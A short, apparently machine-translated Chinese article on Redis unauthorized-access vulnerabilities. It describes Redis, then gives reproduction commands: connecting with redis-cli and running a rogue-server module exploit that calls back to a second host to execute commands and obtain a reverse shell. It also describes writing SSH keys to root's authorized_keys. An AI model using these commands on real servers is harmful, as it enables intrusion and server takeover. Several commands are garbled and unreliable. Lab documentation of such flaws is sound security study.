Redis未经授权
Redis服务简介
Redis(Remote Dictionary Server),即远程字典服务,是用ANSI C语言编写的开源日志型、键值型数据库,支持网络,可以基于内存持久化,提供多种语言的API。
Redis完全开源,符合BSD协议,是一个高性能的键值数据库。
Redis和其他键值缓存产品具有以下三个特征:
Redis支持数据持久化,可以将内存中的数据保存在磁盘中,重启时再次加载使用。
Redis不仅支持简单的键值数据,还提供列表、集合、zset和hash等数据结构的存储。
Redis支持数据备份,即主从模式的数据备份。
redis的默认开放端口是6379。
漏洞复现
您可以直接登录redis服务器。
redis-cli -h 192.168.186.1
未经授权的redis可以由poc直接访问。
pyt 3 redis-master . py-r 192 . 168 . 186 . 1-P 6379-L 192 . 168 . 186 . 2-P 8888-f redis modulesDk/exp . so-c ' id '
也可以使用exp直接获取外壳。
反弹壳建立链接
漏洞成因
1)redis绑定0.0.0.0:6379,没有添加防火墙规则等相关安全策略,避免来自其他不可信来源的ip访问,直接暴露在公网;
2)未设置密码认证(一般为空),无需密码即可远程登录redis服务。
默认情况下,redis将绑定到0.0.0.0:6379。如果不采用相关策略,如增加防火墙规则,避免来自其他不可信来源的ip访问,则如果不设置密码认证(一般为空),Redis服务将暴露给公网。
如果任何用户可以访问目标服务器,将导致他未经授权访问Redis并读取Redis的数据。在未经授权对Redis进行质询的情况下,攻击者可以使用Redis本身提供的config命令编写文件,攻击者可以成功发送自己的ssh。
将公钥写入/root/中的authotrized _ keys文件。目标服务器的ssh文件夹,然后使用私钥直接使用ssh服务登录到目标服务器。
参考文章
https://www.cnblogs.com/bmjoker/p/9548962.html
内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/77297.html